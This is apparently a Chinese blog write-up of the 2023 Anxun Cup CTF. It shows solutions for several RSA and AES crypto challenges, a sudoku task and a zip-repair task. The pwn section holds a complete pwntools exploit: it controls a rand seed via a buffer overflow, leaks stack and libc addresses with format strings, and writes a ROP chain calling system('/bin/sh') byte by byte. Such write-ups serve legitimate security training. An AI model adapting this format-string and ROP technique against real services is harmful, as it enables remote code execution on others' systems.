[STCTF 安洵杯4 2023] 3c1c1m

周末事多,没时间做,队友也失踪了。作了5个题40名。

Crypto/login

from Crypto.Util.number import *
from random import *
from sage.all import *

flag = b'--hidden_message--'
data1 = getPrime(256)
data2 = getPrime(256)
m = bytes_to_long(flag)+data2
prec = 600
ring = RealField(prec)
data3 = ring(data1) / ring(data2)
print(data3)

while True:
    p = randint(2**255, data1)
    q = randint(2**255, data2)
    if isPrime(p) and isPrime(q) and p!=q:
        break

n = p*q
e = 65537
leak = pow(p-q, data1, data1*data2)
c = pow(m, e, n)
print(c)
print(n)
print(leak)



data3 = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588
c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
n = 2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
leak = 1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628

这题分几步来作,第一步是data1和data2相除得到一个小数,用这个600位的小数恢复这两人素数用连分式法,实际上连分式出来就是一个分子/分母的形式,只是它在不断趋近这个小数。只要在里边找一个符合条件的即可。

pq = continued_fraction(data3)
plist = pq.convergents()

for i in plist:
    v = str(i).split('/')
    if len(v)>1 and is_prime(int(v[0])) and is_prime(int(v[1])) and (int(v[0]).bit_length()==256):
        print(v)
        
data1 = 97093002077798295469816641595207740909547364338742117628537014186754830773717
data2 = 67958620138887907577348085925738704755742144710390414146201367031822084270769

然后根据 leak = pow(p-q, data1, data1*data2) 求出p-q

d = inverse_mod(data1, (data1-1)*(data2-1))
p_q = pow(leak,d, data1*data2)

p_q = 57684649402353527014234479338961992571416462151551812296301705975419997474236

再根据p*q==n求出p,q,习惯了z3用z3其实sage也简单类似z3(要重新用var定义变量不能在原来的有限域里求)

from z3 import *
s = Solver()
p,q = Ints('p q')
s.add(p*q == n)
s.add(p-q == p_q)
s.check()
s.model()

p = 89050782851818876669770322556796705712770640993210984822169118425068336611139
q = 31366133449465349655535843217834713141354178841659172525867412449648339136903

最后求flag

d = inverse(65537, (p-1)*(q-1))
m = pow(c,d,n)

flag = m -data2 
long_to_bytes(flag)
#SYC{a00338c150aa3a5163dbf404100e6754}

Crypto/crazetest

from Crypto.Util.number import *
from random import randint
from secret import flag

def TrickPrime(bits):
    p = getPrime(bits)
    q = getPrime(bits)
    cut = randint(1,256)
    temp = p*q
    print('clown =',temp)
    game  = (p&(2**bits-1)) >>cut<<cut #p高位需要给出
    print("trick =",game)
    return p,q

def CrazyPrime(nbits):
    p = getPrime(nbits)
    q = getPrime(nbits)
    r = getPrime(nbits)
    n = p * q * r
    print("n =", n)
    m = getPrime(256)
    P = pow(m, p, n)
    Q = pow(m, q, n)
    R = pow(m, r, n)
    print("P =", P)
    print("Q =", Q)
    print("R =", R)
    return m

P,Q = TrickPrime(512)
R   = CrazyPrime(512)
N =P*Q*R
phi = (P-1)*(Q-1)*(R-1)
e = 65537
d = inverse(e,phi)
m = bytes_to_long(flag)
c = pow(m,e,N)
print("c = ",c)


n = 924936528644761261915490226270682878749572154775391302241867565751616615723850084742168094776229761548826664906020127037598880909798055174894996273670320006942669796769794827782190025101253693980249267932225152093301291975335342891074711919668098647971235568200490825183676601392038486178409517985098598981313504275523679007669267428032655295176395420598988902864122270470643591017567271923728446920345242491655440745259071163984046349191793076143578695363467259
P = 569152976869063146023072907832518894975041333927991456910198999345700391220835009080679006115013808845384796762879536272124713177039235766835540634080670611913370463720348843789609330086898067623866793724806787825941048552075917807777474750280276411568158631295041513060119750713892787573668959642318994049493233526305607509996778047209856407800405714104373282610244944206314614906974275396096712817649817035559000245832673082730407216670764400076473183825246052
Q = 600870923560313304359037202752076267074889238956345564584928427345594724253036201151726541881494799597966727749590645445697106549304014936202421316051605075583257261728145977582815350958084624689934980044727977015857381612608005101395808233778123605070134652480191762937123526142746130586645592869974342105683948971928881939489687280641660044194168473162316423173595720804934988042177232172212359550196783303829050288001473419477265817928976860640234279193511499
R = 502270534450244040624190876542726461324819207575774341876202226485302007962848054723546499916482657212105671666772860609835378197021454344356764800459114299720311023006792483917490176845781998844884874288253284234081278890537021944687301051482181456494678641606747907823086751080399593576505166871905600539035162902145778102290387464751040045505938896117306913887015838631862800918222056118527252590990688099219298296427609455224159445193596547855684004680284030

c =  10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949

这里定义了两个小函数,

第1个生成了p,q和n关给出p的高位,

第2个生成了 p,q,r然后生成n然后每个因子都给了一个m^p%n然后返回m

最后的RSA用第1个函数生成的p,q和第2个函数生成的r

这里由于r很小,而一般情况下flag的大小比p*q小,所以可以不考虑r直接用1式求解。而给定高位的p是可以用coppersmith求解的。

1,求p

#coppersmith 已知部分p求分解
N =  128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
#p的高位
p0 =  13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576
#0xf93bccfd5550cb15211bdc316f1b15cdfbc1f3e54a7745b9c4835f5346fa7f1d9560784892728000000000000000000000000000000000000000000000000000
#cut 204-207

P.<x> = PolynomialRing(Zmod(N))
f = p0 + x 
x = f.monic().small_roots(X=2^207, beta=0.4, epsilon=0.02)
x = x[0]
x = 76347864203588455868161824448305083084387260376528823546715135
p = ZZ(f(x))
#####
p = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464531559991042565319610790540616696456104018890243275374098291711
q = 9825759610390416003138880321039057063786120681277009947660201742655391150627525256689197020107593156663696181775606008771199371337506657207530847665591719

2,RSA求flag

c =  10585127810518527980133202456076703601165893288538440737356392760427497657052118442676827132296111066880565679230142991175837099225733564144475217546829625689104025101922826124473967963669155549692317699759445354198622516852708572517609971149808872997711252940293211572610905564225770385218093601905012939143618159265562064340937330846997881816650140361013457891488134685547458725678949

#只用pq作n求解m
n = p*q 
phi = (p-1)*(q-1)
e = 65537
d = inverse_mod(e,phi)
m = pow(c,d,n) 

#SYC{N0b0dy_Kn0vvs_CryPt0_be7t3r_7haN_Me}

Crypto/Alexei needs help

from random import randint 
import gmpy2 as gp 
from Crypto.Util.number import *
from Crypto.Cipher import AES 
from hashlib import md5 
from binascii import * 
from secret import flag 

a,b = randint(2,2**512), randint(2,2**512) 
m = getPrime(512)
n = 2023
seq = [randint(2,2**512) for _ in range(10)] 
def seqsum(i):  #a^0*s0 + a^1 * s1 + ...
	ans = 0
	for j in range(len(seq)):
		ans += gp.powmod(i,j,m)*seq[j] 
	return ans

def homework(i):
	if i == 1:
		return 1
	if i == 2:
		return 1 
	else:
		return (a*homework(i-1)+b*homework(i-2)+seqsum(i))%m


ans = homework(n) 

k = unhexlify(md5(str(ans).encode()).hexdigest())
aes = AES.new(k,AES.MODE_ECB)
data = flag + (16-len(flag)%16)*b"\x00"
ct = hexlify(aes.encrypt(data)) 


print('a = ',a)
print('b = ',b) 
print('m = ',m)
print('seq = ',seq) 
print('ct = ',ct) 

a =  12760960185046114319373228302773710922517145043260117201359198182268919830481221094839217650474599663154368235126389153552714679678111020813518413419360215
b =  10117047970182219839870108944868089481578053385699469522500764052432603914922633010879926901213308115011559044643704414828518671345427553143525049573118673
m =  9088893209826896798482468360055954173455488051415730079879005756781031305351828789190798690556659137238815575046440957403444877123534779101093800357633817
seq =  [1588310287911121355041550418963977300431302853564488171559751334517653272107112155026823633337984299690660859399029380656951654033985636188802999069377064, 12201509401878255828464211106789096838991992385927387264891565300242745135291213238739979123473041322233985445125107691952543666330443810838167430143985860, 13376619124234470764612052954603198949430905457204165522422292371804501727674375468020101015195335437331689076325941077198426485127257539411369390533686339, 8963913870279026075472139673602507483490793452241693352240197914901107612381260534267649905715779887141315806523664366582632024200686272718817269720952005, 5845978735386799769835726908627375251246062617622967713843994083155787250786439545090925107952986366593934283981034147414438049040549092914282747883231052, 9415622412708314171894809425735959412573511070691940566563162947924893407832253049839851437576026604329005326363729310031275288755753545446611757793959050, 6073533057239906776821297586403415495053103690212026150115846770514859699981321449095801626405567742342670271634464614212515703417972317752161774065534410, 3437702861547590735844267250176519238293383000249830711901455900567420289208826126751013809630895097787153707874423814381309133723519107897969128258847626, 2014101658279165374487095121575610079891727865185371304620610778986379382402770631536432571479533106528757155632259040939977258173977096891411022595638738, 10762035186018188690203027733533410308197454736009656743236110996156272237959821985939293563176878272006006744403478220545074555281019946284069071498694967]
ct = bytes.fromhex('37dc072bdf4cdc7e9753914c20cbf0b55c20f03249bacf37c88f66b10b72e6e678940eecdb4c0be8466f68fdcd13bd81')
n = 2023

主函数是一个递归运算f[n] = a*f[n-1] + b*f[n-2] + seqsum[i]

由于递归的运算方向是后向前,所以每一项都需要运算好多次,时间复杂度成幂次增加。

解决方法:

         考虑到n很小只有2023,可以不考虑矩阵快速幂而是直接运算。

        首先将式子分两部分,一部分是f[n] = a*f[n-1] + b*f[n-2] 另一部分是sum(seqsum[i])

        还是那句n很小,所以可以从1开始作个数组[1,1],然后向上加f3= f2+f1 最后两部分相加即可。

def seqsum(i):  #a^0*s0 + a^1 * s1 + ...
	ans = 0
	for j in range(len(seq)):
		ans += gp.powmod(i,j,m)*seq[j] 
	return ans

def homework(i):
	if i == 1:
		return 1
	if i == 2:
		return 1 
	else:
		return (a*home[i-1]+b*home[i-2]+seqsum(i))%m

#
seqs = [0]*(n+1)
for i in range(1, n+1):
    seqs[i] = seqsum(i)

home = [0]*(n+1)
for i in range(1, n+1):
    home[i] = homework(i)

k = md5(str(ans).encode()).digest()
aes = AES.new(k,AES.MODE_ECB)
aes.decrypt(ct)

#c7ceedc7197a0d350025fff478f667293ebbaa6b
#SYC{c7ceedc7197a0d350025fff478f667293ebbaa6b}

Crypto/Alexei needs help again 未完成

这题纯浪费时间,他以为cryptoer干到这就不用干别的了。附件换了3次,前边没有给mM,居然有在一个大数不给模的情况下,结果比模都要多的情况下,有人答对了。

看一个给了的附件吧。不过也没作出来。

from random import *
import gmpy2 as gp 
from Crypto.Util.number import *
from Crypto.Cipher import AES 
from hashlib import md5 
from binascii import * 
from secret import flag 
n = 666
M = getrandbits(512) 
m = getrandbits(512)
seq = [getrandbits(20) for _ in range(n)] 
def cseq(i):
    ct = 0
    for j in seq:
        if i%j == 0: 
            ct+=1 
    return ct 

def homework(i):
    if i == 1: return 1 
    if i == 2: return 1 
    else: return homework(i-2)+homework(i-1)+cseq(i-1) 
ans = homework(m) 

k = unhexlify(md5(str(ans).encode()).hexdigest())
aes = AES.new(k,AES.MODE_ECB)
data = flag + (16-len(flag)%16)*b"\x00"
ct = hexlify(aes.encrypt(data)) 
print(ct)
print(M)
print(m)   
print(seq) 

'''
b'719cba7536e7b4b70a6fe7ccbf2b5c68aa7ff7b66eb0be310734e57ab4cb0aeaebff31c7259a2bc1c4c755ece05aca14cda60f0661c66e018dc688324c892340d6f9e4159868ee7706af2d7ba85c66d4'
3596719358563267136306685895307982718723768833314839573875408030960766363471664673570818070700788540997560230030026711193397600437837466792602249358084683
1041092522740023195813786540882429771169331341555634517166317615688075159721831930351500406735637997620460735612316135087963708385368166487714720832992433
[345416, 883343, 757849, 34715, 1044090, 891203, 687849, 629955, 537749, 887432, 316866, 590001, 251029, 795824, 87568, 310218, 66527, 167654, 621046, 664164, 967184, 680903, 487480, 759522, 578590, 764689, 229899, 224412, 898046, 414026, 1033104, 257232, 238978, 974939, 947555, 278298, 424099, 841972, 932987, 178561, 413950, 373471, 69612, 886075, 817569, 897695, 859260, 208392, 64815, 646310, 43554, 353737, 1020277, 471327, 507906, 437758, 83776, 486557, 344868, 124419, 887932, 588374, 599083, 744194, 935783, 689769, 131129, 1040455, 355444, 894062, 52165, 50900, 353470, 177923, 801470, 592805, 206141, 886634, 79546, 687636, 786083, 559364, 426184, 209963, 1002374, 184468, 71425, 972879, 309580, 14593, 694444, 243366, 368743, 546928, 929664, 122826, 205007, 1046953, 178268, 777359, 562504, 641713, 727560, 934250, 25724, 663648, 1013381, 760785, 248991, 620089, 350568, 221397, 845864, 393735, 884261, 702394, 526573, 367306, 341581, 288981, 370845, 900842, 122451, 488635, 214294, 61265, 9257, 133115, 1009323, 534926, 148441, 927343, 657128, 759966, 907250, 621790, 771589, 429427, 213285, 1013879, 385468, 1026978, 119208, 126907, 139504, 433610, 782948, 758909, 372866, 753113, 226220, 293907, 137153, 401264, 119112, 645398, 983279, 572032, 4031, 727163, 158036, 477572, 810837, 524215, 859308, 284417, 1736, 868298, 711932, 703553, 541646, 592726, 1003641, 763192, 706310, 799545, 87552, 156651, 861269, 789982, 856981, 981279, 461279, 828403, 382127, 396629, 300157, 528174, 391471, 42976, 550497, 949847, 639361, 338755, 875979, 203675, 944172, 202589, 191722, 405855, 771813, 531483, 853831, 992267, 317085, 577259, 963702, 569361, 857191, 113049, 99870, 20967, 174307, 408787, 930734, 142932, 687926, 873689, 1020832, 630660, 236903, 580843, 547973, 170223, 215108, 946256, 716055, 552272, 697633, 667104, 259052, 989997, 235820, 296995, 109439, 419411, 878069, 1032629, 576522, 515781, 618192, 632598, 790962, 343701, 236560, 608011, 504863, 220705, 238122, 863120, 632640, 204741, 658701, 403143, 810928, 5529, 271209, 267517, 330111, 667218, 852860, 312373, 777586, 1004445, 501218, 471089, 433854, 743312, 290871, 736601, 1001627, 826905, 360452, 421199, 329286, 108521, 323322, 63992, 559572, 612087, 245385, 732402, 1018217, 465281, 59340, 1014708, 598753, 281521, 402836, 214930, 11217, 496062, 305671, 853440, 1034421, 837759, 246669, 485196, 416947, 655940, 869618, 487370, 1038834, 281687, 691748, 245078, 589085, 762896, 25612, 832949, 615208, 
630377, 253509, 568768, 432503, 550666, 842737, 796076, 118435, 584927, 890613, 396242, 244296, 689204, 668978, 347615, 19856, 698595, 328076, 594034, 382239, 1048254, 998338, 729535, 972300, 912467, 650419, 1019125, 785227, 220984, 881224, 442772, 649171, 57305, 110731, 1032283, 684105, 949084, 353393, 693806, 778609, 613341, 815591, 705785, 116374, 580092, 657480, 637615, 863767, 91903, 567018, 142034, 256383, 320900, 492098, 186615, 661823, 370872, 317477, 108072, 437475, 921130, 564527, 789000, 394925, 84417, 113859, 835548, 224475, 709524, 643640, 1020014, 371406, 202235, 267106, 164081, 978256, 710876, 691194, 748510, 122240, 6020, 679074, 801544, 93342, 363222, 536230, 152491, 331090, 747196, 799418, 936042, 382791, 1023272, 107994, 586460, 817236, 954323, 881821, 204278, 265820, 360173, 531, 493724, 90906, 923289, 225786, 62570, 31180, 442381, 101671, 861705, 571124, 431290, 207921, 394536, 998757, 102042, 502838, 172162, 1010008, 991691, 622520, 771803, 252872, 430435, 125817, 859220, 340256, 237973, 712764, 813962, 19838, 369252, 13186, 686967, 129448, 8242, 925459, 381082, 350252, 682789, 33996, 508232, 113994, 372151, 974978, 886055, 597445, 784804, 921620, 986973, 639094, 987595, 331918, 993313, 61447, 33211, 969817, 992290, 231845, 937141, 661107, 996023, 84336, 798322, 975183, 669671, 760006, 791431, 267002, 506599, 882828, 939034, 738454, 293554, 726067, 22769, 78784, 225428, 116246, 893578, 786182, 221236, 777717, 119435, 478018, 656539, 571806, 298349, 85146, 380534, 451508, 719936, 75321, 62785, 791405, 116685, 656630, 455096, 307118, 1038171, 337987, 414165, 645854, 340529, 554253, 650914, 164984, 446202, 746890, 362684, 403475, 510829, 767356, 113098, 582398, 494175, 242873, 332204, 801556, 689089, 703197, 835109, 264528, 115002, 159040, 49498, 942421, 841443, 631127, 288090, 857556, 474049, 311119, 296940, 774619, 959251, 121815, 178622, 342618, 939853, 399154, 296381, 600450, 453619, 225280, 138079, 841173, 17053, 541481, 242007, 75352, 235625, 222478, 473564, 1021906, 436437, 606030, 654826, 55333, 176454, 806931, 598883, 689967, 486406, 399290, 138665, 329398, 537747, 676468, 712127, 124867, 965073, 700405, 23814, 639560, 304882, 505063, 158534, 241144, 890400, 335314, 362247, 169783, 275086, 807767, 59993, 821528, 847394, 821041, 138344, 133138, 302308, 371771, 69999, 848231, 953500, 250614, 659985, 785085, 580988, 846327, 242558, 978584, 843962, 61543, 1010816, 804469, 930565, 760752, 296459, 975301, 617127, 227040, 772883, 645709, 400309, 1018198, 316611, 923624, 395068, 141906, 574898, 754729, 950395, 242857, 424267, 782177, 62351, 690453, 283232, 224522, 8576, 632474, 112110, 952286, 994247, 668215, 533344, 851019, 316870, 178346, 804724, 1031188, 106480, 975307, 966109, 179313, 1046602, 452862, 9071, 24439, 74472, 921059, 323284]
'''

程序是有点一样的,省掉了a,b,seqsum变成能被seq整除的数的个数。

比如60,seq=[2,3,5,7]那么能被整除的个数是46个,能被2整除的30个,2...,5...,7...,能被2整除不能被3...

写了一个程序,也没出结果

第1部分用矩阵快速幂求,这块容易,跟数的大小的幂的大小关系不大。

#分解成两部分分别求和
#1, f[n] = f[n-1]+f[n-2]
'''                  m-2
             | 1 1 |
[f[2],f[1]]* |     | = [f[m], f[m-1]]
             | 1 0 |

'''

V = vector(Zmod(M), [1,1])
R = matrix(Zmod(M), [[1,1],[1,0]])
F = V*R^(m-2)

A1 = F[0]

第2部分也写了个递归函数,估计如果把这个递归扁平化后也许可能会出结果。

#2, sum( 1...m //seq)
#print(sum([1 if i%2==0 or i%3==0 or i%5==0 or i%7==0 else 0 for i in range(1,101)]))
#m = 100
#seq = [5,3,2,7]
def get_v(k,idx):
    #print(k,seq[idx])
    v = k//seq[idx] 
    if v==0:
        return v
    
    if idx == 0:
        return v 
    else:
        return v - sum([get_v(v,ki) for ki in range(idx)])

ans = A1
for i in range(len(seq)):
    t = get_v(m,i)
    #print(t)
    ans += t 
    ans %= M 

print(ans)

Misc/数独

玩数独很多年了,出了个数独题,抓紧时间作。先吐槽一下,选高级的话有的题不是合格的数独题是多解。

这题手工处理的,用的是 独数之道 网站上的自备干粮。把数贴上去然后自动填辅数,自动删辅数,几回就出结果,然后再贴回来就行了。大根七八道就给flag了

Misc/speed数独 未完成

这个对解题有时间要求,吃饭回来还有5分钟,抓紧时间,结果作到一半后台就关了。这题没有代码,IO只能看着远程来写。关了我也没着了。后来看别人的WP,再加5分钟也写不完,因为要求输入是交互的。至少10分钟。

这是写了一半的东西。sagemath有个sudoku函数(想不到吧,原生带的),其实程序就是写个IO,没有技术含量。

from pwn import *
from sage.all import *


p = remote('47.108.179.76', 32810)

context.log_level = 'debug'

def sss():
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'> ', b'5')
    data = b''
    for i in range(11):
        data += p.recvline()
    
    
    ddd = ''
    for v in data:
        if ord('0')<=v<=ord('9'):
            ddd+=chr(v)
    ddd = ddd.replace('0','.')
    m = matrix(ZZ,9,9)
    for i in range(9):
        for j in range(9):
            m[i,j] = int(ddd[i*9+j])
    a = sudoku(m)
    b = b''
    for i in range(9):
        for j in range(9):
            b += a[i,j]    
    p.sendline(b.encode())

while True:
   sss()
   
p.interactive()

Misc/讨厌的压缩包

赛看问到结果。

先爆破一个数字密码,这个简单

然后从图里分离出zip这个也简单

然后改压缩方式从存储到压缩 ,这个没见过,头一回。把这的0改成8(数据和目录项都要改)

    enum COMPTYPE frCompression    COMP_DEFLATE (8)    8h 

然后Ook解密,要用那个外国网站,支持中文的,中国网站写的不支持中文(搞吧)

PWN/harde_pwn

这题跟前两天作的一个题太像。

主函数,先作个proof然后就进行fmt

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init_0();
  my_write("This is your second eazy fmt ;)\n");
  fuxk_game();
  if ( is_fmt )
  {
    my_write("Welcome heap_fmt world ;)\n");
    heap_fmt();
  }
  return 0;
}

头是个随机数,由于读入buf时有溢出4字节,正好可以把随机seed的低4字节覆盖,而srand只需要4字节整形,所以这里控制seed后可以自己置种子。

_DWORD *fuxk_game()
{
  _DWORD *result; // rax
  char buf[28]; // [rsp+0h] [rbp-40h] BYREF
  __int64 seed; // [rsp+1Ch] [rbp-24h]
  int v3; // [rsp+24h] [rbp-1Ch] BYREF
  int v4; // [rsp+28h] [rbp-18h]
  int i; // [rsp+2Ch] [rbp-14h]

  puts("Welcome to a ctype game!");
  seed = randomm();
  read(0, buf, 0x20uLL);
  srand(seed);
  for ( i = 0; i <= 20; ++i )
  {
    v4 = (rand() ^ 0x24) + 1;
    puts("input: ");
    __isoc99_scanf("%d", &v3);
    if ( v4 != v3 )
    {
      puts("fuxk up!");
      exit(1);
    }
    puts("Success!");
  }
  result = &is_fmt;
  is_fmt = 1;
  return result;
}

fmt这块数据写到堆里,其实写到哪里只要不在栈里都一样。就是要找一个栈里的链,最方便用的的rbp的链,但是需要至少2层深度的函数才有。没有这个就找argv[0]也就是程序调起时指向自己名字字符串的那个指针的指针。

第一步解决proof(把WP切开写会比较好读)

from pwn import *
from ctypes import *
 
binary = './harde_pwn'
 
#p = process(binary)
p = remote('47.108.165.60', 42572)
context(arch='amd64', log_level='debug')
 
elf = ELF(binary)
libc = ELF('./libc.so.6')
clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.35-0ubuntu3-amd64/libc.so.6")
 
clibc.srand(0)
v1 = [(clibc.rand()^0x24) + 1 for i in range(21)]

p.sendafter(b"Welcome to a ctype game!\n", b'\x00'*0x20)
for i in v1:
    p.sendlineafter(b"input: \n", str(i))

第2步泄露地址,这里偏移分别是8,9,31

#get stack,elf,libc
'''
0x00007fffffffde60│+0x0000: 0x0000000000000000   ← $rsp
0x00007fffffffde68│+0x0008: 0x000055555555b2a0  →  "%31$p,%32$p,%33$p,\n"
0x00007fffffffde70│+0x0010: 0x00007fffffffde80  →  0x0000000000000001    ← $rbp            #8
0x00007fffffffde78│+0x0018: 0x0000555555555543  →  <main+65> mov eax, 0x0                  #9
0x00007fffffffde80│+0x0020: 0x0000000000000001
...
0x00007fffffffdea8│+0x0048: 0x00007fffffffdf98  →  0x00007fffffffe2d2  →  "./harde_pwn"    #15
0x00007fffffffdf28│+0x00c8: 0x00007ffff7c29e40  →  <__libc_start_main+128>                 #31
0x00007fffffffdf98│+0x0138: 0x00007fffffffe2d2  →  "./harde_pwn"         ← $r12            #45
'''

pay = '%8$p,%9$p,%31$p,'
p.sendlineafter(b"input your data ;)\n", pay.encode())
stack = int(p.recvuntil(b',', drop=True), 16) - 8
elf.address = int(p.recvuntil(b',', drop=True), 16) - 0x1543 
libc.address = int(p.recvuntil(b',', drop=True), 16) - 128 - libc.sym['__libc_start_main']
print(f"{elf.address = :x} { stack } { libc.address = :x}")

确定这个链使用15->45->ret (通过15修改45让它指向ret)然后向ret里写rop

每次修改45尾字节指向  rop下一字节处,然后修改rop1字节。虽然次数多但是流量很小。确保成功。返回地址尾字节是8,需要弹两个值,使system在尾字节为0的位置.

#45->#9
v = stack&0xffff
pay = f'%{v}c%15$hn'
p.sendlineafter(b"input your data ;)\n", pay.encode())

#payload
ppp_ret = 0x00000000000015ae # pop r13 ; pop r14 ; pop r15 ; ret
pop_rdi = libc.address + 0x000000000002a745 # pop rdi ; pop rbp ; ret
#pop_rdi = 0x000000000002a3e5 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\x00'))
payload = flat(pop_rdi, bin_sh, 0, libc.sym['system'])

for i in range(len(payload)):
    off = (stack+i)&0xff
    if off == 0:
        p.sendlineafter(b"input your data ;)\n", b'%15$hhn')
    else:
        p.sendlineafter(b"input your data ;)\n", (f'%{off}c%15$hhn').encode())
    
    v = payload[i]
    if v==0:
        p.sendlineafter(b"input your data ;)\n", b'%45$hhn')
    else:
        p.sendlineafter(b"input your data ;)\n", (f'%{v}c%45$hhn').encode())

这个题并没有返回,所以需要修改printf的返回,把返回到fmt的地址尾字节修改成ea,这是个ppp3就是弹3次栈,弹3次后正好到达写 ret的位置。(如果栈有点深还可以用ppp6)

off = (stack - 0x20)&0xff
p.sendlineafter(b"input your data ;)\n", (f'%{off}c%15$hhn').encode())
p.sendlineafter(b"input your data ;)\n", (f'%174c%45$hhn').encode())  #0xae ppp_ret

p.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值